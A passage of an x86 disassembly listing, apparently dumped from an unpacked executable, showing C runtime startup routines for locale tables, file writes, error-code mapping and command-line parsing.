CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_48B560 rep stosd stosb xor eax, eax mov edi, offset dword_48B450 mov dword_48B444, eax mov dword_48B45C, eax mov dword_48B664, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_48B444 nop call near ptr 287135Ch cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_48B664 push dword_48B444 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_48B664 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_48B664 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_48B561[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_48B460[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_48B561[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_48B460[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_48B561[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_48B460[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_48B561[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_48B460[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_48B694, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_48B694, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_48B45C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_48B561[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_48B440 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2630000h test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_48A014, 9 mov dword_48A018, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j call near ptr 264030Ch nop mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2630000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j nop call near ptr 264030Ch mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_48A014, 1Ch mov dword_48A018, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_48A018, 0 mov dword_48A014, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_48A018, ecx mov eax, offset dword_43BA30 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_43BB98 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_48A014, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_43BA34[edx*8] mov dword_48A014, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_48A014, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_48A014, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_48A0C8 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_48A0C8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_43BC10 mov edx, dword_43BC14 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43BBA0h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_43BC1C cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_43BC1C, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_43BC1C, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_43BC1C, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_43BC1C, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_43BC1C, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_43BC1C, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_43BC1C, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_43BC1C push 8 call ebx pop ecx mov dword_43BC1C, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_48A0C8, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 25F0000h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB98, edx push esi mov eax, offset dword_43BB98 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_48B694, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_48B68C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_48A060 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_48A03C, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_48A060 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_48A060 call sub_417C3B pop ecx mov dword_48A060, ebx mov [esi], ebx pop edi pop esi mov dword_48B690, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2650000h mov eax, dword_48B68C mov off_48A04C, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_48A034, esi pop edi pop esi mov dword_48A030, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_48A1D0 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_48A1D0, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj call near ptr 25E0A2Eh nop mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_48A1D0, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 25E0C82h mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 25E0A2Eh mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax 